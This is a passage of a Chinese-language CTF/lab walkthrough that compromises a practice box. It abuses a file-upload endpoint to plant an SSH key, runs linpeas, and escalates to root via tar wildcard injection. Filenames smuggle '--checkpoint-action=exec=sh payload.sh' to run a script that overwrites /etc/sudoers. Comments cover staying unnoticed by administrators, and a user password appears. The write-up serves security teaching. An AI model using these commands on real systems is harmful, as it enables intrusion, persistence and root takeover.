&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250717121739031" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717121739031.png"&gt;&lt;/p&gt;
&lt;p&gt;提示需要文件名。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; a &amp;gt; a.txt &lt;span class="c1"&gt;# 随便写点&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;curl http://192.168.203.249:33414/file-upload -X POST -F &lt;span class="s2"&gt;&amp;#34;file=@a.txt&amp;#34;&lt;/span&gt; -F &lt;span class="s2"&gt;&amp;#34;filename=aaa&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250717121852980" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717121852980.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717121940162" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717121940162.png"&gt;&lt;/p&gt;
&lt;p&gt;成功了，尝试别的文件行不行。发现只允许&lt;code&gt;txt, pdf, png, jpg, jpeg, gif&lt;/code&gt;这几种格式。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717122106804" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717122106804.png"&gt;&lt;/p&gt;
&lt;p&gt;如果这个靶机用的php搭建的，那么我们现在可以上传图片马，改名成&lt;code&gt;a.pnp&lt;/code&gt;，然后在蚁剑中连接即可，或者直接上传一个php反弹的脚本。但是由于网页并没有使用PHP，所以这个方法行不通。尝试把文件传到别处，发现在&lt;code&gt;/home/alfredo&lt;/code&gt;文件夹下上传成功。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717124320657" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717124320657.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717125518110" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717125518110.png"&gt;&lt;/p&gt;
&lt;p&gt;虽然说传不了图片马，但是&lt;code&gt;/home/alfredo&lt;/code&gt;可以读写的话，就可以传一个ssh密钥上去用于免密登录SSH。&lt;/p&gt;
&lt;h3 id="生成密钥上传"&gt;生成密钥上传
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;生成密钥对&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh-keygen
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：生成公钥/私钥对（RSA 算法）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生成文件&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;id_rsa&lt;/code&gt;：&lt;strong&gt;私钥&lt;/strong&gt;（客户端本地保存，绝不可泄露）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;id_rsa.pub&lt;/code&gt;：&lt;strong&gt;公钥&lt;/strong&gt;（上传到服务器）
&lt;img alt="image-20250717133859118" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717133859118.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;设置私钥权限&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;chmod &lt;span class="m"&gt;600&lt;/span&gt; id_rsa
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：设置私钥文件仅当前用户可读写&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原因&lt;/strong&gt;：SSH 拒绝使用权限过大的私钥文件（&amp;gt;600）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;创建授权文件&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cp id_rsa.pub authorized_keys
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：将公钥转为 SSH 认证格式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;说明&lt;/strong&gt;：&lt;code&gt;authorized_keys&lt;/code&gt;文件存储所有被允许的公钥&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;备份授权文件&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cp authorized_keys authorized_keys.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：创建公钥列表备份（可选步骤）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;上传密钥&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;curl -i -L -X POST -H &lt;span class="s2"&gt;&amp;#34;Content-Type: multipart/form-data&amp;#34;&lt;/span&gt; -F &lt;span class="s2"&gt;&amp;#34;file=@/home/kali/Desktop/authorized_keys.txt&amp;#34;&lt;/span&gt; -F &lt;span class="s2"&gt;&amp;#34;filename=/home/alfredo/.ssh/authorized_keys&amp;#34;&lt;/span&gt; http://192.168.203.249:33414/file-upload
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;curl http://192.168.203.249:33414/file-upload -X POST -F &lt;span class="s2"&gt;&amp;#34;file=@authorized_keys.txt&amp;#34;&lt;/span&gt; -F &lt;span class="s2"&gt;&amp;#34;filename=/home/alfredo/.ssh/authorized_keys&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;将密钥传到服务器后就可以用密钥登录了。
&lt;img alt="image-20250717135119708" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717135119708.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;使用密钥登录&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh alfredo@192.168.203.249 -i id_rsa -p &lt;span class="m"&gt;25022&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-i id_rsa&lt;/code&gt;：指定私钥文件路径&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p 25022&lt;/code&gt;：指定非标准 SSH 端口&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250717135146727" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717135146727.png"&gt;&lt;/p&gt;
&lt;p&gt;发现第一个Flag。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717135459279" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717135459279.png"&gt;&lt;/p&gt;
&lt;h2 id="提权root"&gt;提权root
&lt;/h2&gt;&lt;p&gt;&lt;img alt="image-20250717135231683" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717135231683.png"&gt;&lt;/p&gt;
&lt;p&gt;进入终端后发现不能&lt;code&gt;sudo -l&lt;/code&gt;，这里其实题目给了提示，Alfredo的密码是DriveMailLens774。但是这样就没意思了。还是尽量自己找其他能进root的方式。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717135908897" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717135908897.png"&gt;&lt;/p&gt;
&lt;h3 id="上传小豌豆"&gt;上传小豌豆
&lt;/h3&gt;&lt;p&gt;老样子还是掏出小豌豆一顿梭哈。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget https://ghfast.top/https://github.com/peass-ng/PEASS-ng/releases/download/20250701-bdcab634/linpeas.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250717140000706" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717140000706.png"&gt;&lt;/p&gt;
&lt;p&gt;这里提示靶机的网络环境似乎是找不到github，问题不大，可以在本机下载后再用scp上传即可，或者在本机开启短暂的http网页，靶机请求下载即可。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717140455024" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717140455024.png"&gt;&lt;/p&gt;
&lt;p&gt;使用开启网页下载的方式无法下载，换tmp目录也是下载很慢。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717140514776" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717140514776.png"&gt;&lt;/p&gt;
&lt;p&gt;问题不大，还有Plan B，用SCP方式上传。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;scp -i id_rsa -P &lt;span class="m"&gt;25022&lt;/span&gt; linpeas.sh alfredo@192.168.203.249:/home/alfredo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250717141054298" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717141054298.png"&gt;&lt;/p&gt;
&lt;h3 id="内网信息收集"&gt;内网信息收集
&lt;/h3&gt;&lt;p&gt;扫描发现日志文件中存在一个用root身份执行的备份脚本。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717141514855" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717141514855.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;*/1 * * * * root /usr/local/bin/backup-flask.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="pkexec-提权尝试"&gt;pkexec 提权尝试
&lt;/h3&gt;&lt;p&gt;又可以用这个命令一键提权，但是提权失败了，因为 alfredo账户没有sudu权限，可执行命令里面页没有pkexec。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717141844348" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717141844348.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717143501478" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717143501478.png"&gt;&lt;/p&gt;
&lt;p&gt;可以执行的命令。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717142658864" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717142658864.png"&gt;&lt;/p&gt;
&lt;p&gt;发现alfredo账户原本的密钥，这里可以复制下来，然后悄咪咪删除我们传上去的临时密钥，以后用本尊密钥登录，神不知鬼不觉的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 从服务器下载文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;scp -i id_rsa -P &lt;span class="m"&gt;25022&lt;/span&gt; alfredo@192.168.203.249:&lt;span class="o"&gt;[&lt;/span&gt;远程文件&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;本地路径&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250717142855917" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717142855917.png"&gt;&lt;/p&gt;
&lt;p&gt;后面没有发现有用的信息了，所以还是回到之前发现定时任务中。看一下这个命令的权限，我们能不能直接修改，看看他写了什么。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ls /usr/local/bin/backup-flask.sh -al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat /usr/local/bin/backup-flask.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250717143847744" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717143847744.png"&gt;&lt;/p&gt;
&lt;p&gt;可以发现，对&lt;code&gt;backup-flask.sh&lt;/code&gt;文件，无法直接修改内容，因为alfredo账户对这个文件只有读和执行权限。而&lt;code&gt;backup-flask.sh&lt;/code&gt;脚本完成了三件事：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;修改环境变量&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;export PATH=&amp;quot;/home/alfredo/restapi:$PATH&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;把 &lt;code&gt;/home/alfredo/restapi&lt;/code&gt;目录添加到系统命令搜索路径的最前面，后续执行命令时，系统会优先在这个目录中查找可执行文件&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;切换工作目录&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cd /home/alfredo/restapi&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;进入 restapi 应用程序所在的目录&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;打包文件&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tar czf /tmp/flask.tar.gz *&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;将当前目录所有文件（&lt;code&gt;*&lt;/code&gt;）压缩成 gzip 格式的 tar 包 &lt;code&gt;flask.tar.gz&lt;/code&gt;存档，保存在 &lt;code&gt;/tmp&lt;/code&gt;目录下，&lt;code&gt;c&lt;/code&gt;表示创建新压缩包，&lt;code&gt;z&lt;/code&gt;表示使用 gzip 压缩，&lt;code&gt;f&lt;/code&gt;指定输出文件名。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;能利用的命令只有tar命令，另外两个命令在https://gtfobins.github.io/#搜不到相应的提权用法。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://gtfobins.github.io/gtfobins/tar/" target="_blank" rel="noopener"
 &gt;https://gtfobins.github.io/gtfobins/tar/&lt;/a&gt;，提权的具体原理见文末&lt;a class="link" href="#Tar%e6%8f%90%e6%9d%83%e8%af%a6%e8%a7%a3" &gt;Tar提权详解&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717144536386" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717144536386.png"&gt;&lt;/p&gt;
&lt;h3 id="tar提权"&gt;Tar提权
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /home/alfredo/restapi
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; payload.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;alfredo ALL=(root) NOPASSWD: ALL&amp;#39;&lt;/span&gt; &amp;gt; /etc/sudoers
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 上面是开放所有权限，动作大，实际渗透中容易被发现&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 下面这个命令是只开放pkexec的无密码sudo执行权限，一般管理员不仔细查的话是发现不了的&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;alfredo ALL=(root) NOPASSWD: /usr/bin/pkexec&amp;#39;&lt;/span&gt; &amp;gt; /etc/sudoers
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 输入完按 Ctrl D结束即可保存&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;chmod +x payload.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &amp;gt; &lt;span class="s1"&gt;&amp;#39;--checkpoint=1&amp;#39;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &amp;gt; &lt;span class="s1"&gt;&amp;#39;--checkpoint-action=exec=sh payload.sh&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 等待打包命令执行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 用之前执行失败的提权方式再次提权&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;sudo pkexec /bin/sh &lt;span class="c1"&gt;# bash也行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;sudo pkexec /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 如果开放的是全权限，直接进入即可。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;sudo -l 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;sudo /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250717150116131" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717150116131.png"&gt;&lt;/p&gt;
&lt;h2 id="知识点整理"&gt;知识点整理
&lt;/h2&gt;&lt;h3 id="-ssh-密钥认证全流程重要文件位置"&gt;🔑 SSH 密钥认证全流程（重要文件位置）：
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;文件&lt;/th&gt;
 &lt;th style="text-align: center"&gt;位置&lt;/th&gt;
 &lt;th style="text-align: center"&gt;角色&lt;/th&gt;
 &lt;th style="text-align: center"&gt;权限要求&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;私钥&lt;/strong&gt; &lt;code&gt;id_rsa&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;客户端 （您的电脑）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;认证身份&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;chmod 600&lt;/code&gt; （仅用户读写）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;公钥&lt;/strong&gt; &lt;code&gt;id_rsa.pub&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;服务端 &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;授权认证&lt;/td&gt;
 &lt;td style="text-align: center"&gt;自动处理&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;授权文件&lt;/strong&gt; &lt;code&gt;authorized_keys&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;服务端 &lt;code&gt;~/.ssh/&lt;/code&gt;目录&lt;/td&gt;
 &lt;td style="text-align: center"&gt;公钥白名单&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;chmod 600&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="-安全注意事项"&gt;⚠️ 安全注意事项：
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;私钥保护&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;私钥相当于密码，需妥善保管&lt;/li&gt;
&lt;li&gt;禁用私钥：服务器上删除 &lt;code&gt;authorized_keys&lt;/code&gt;中对应公钥&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;服务器文件权限&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;chmod &lt;span class="m"&gt;700&lt;/span&gt; ~/.ssh &lt;span class="c1"&gt;# 目录权限&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;chmod &lt;span class="m"&gt;600&lt;/span&gt; ~/.ssh/authorized_keys &lt;span class="c1"&gt;# 授权文件权限&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;增强安全性&lt;/strong&gt;&lt;/p&gt;
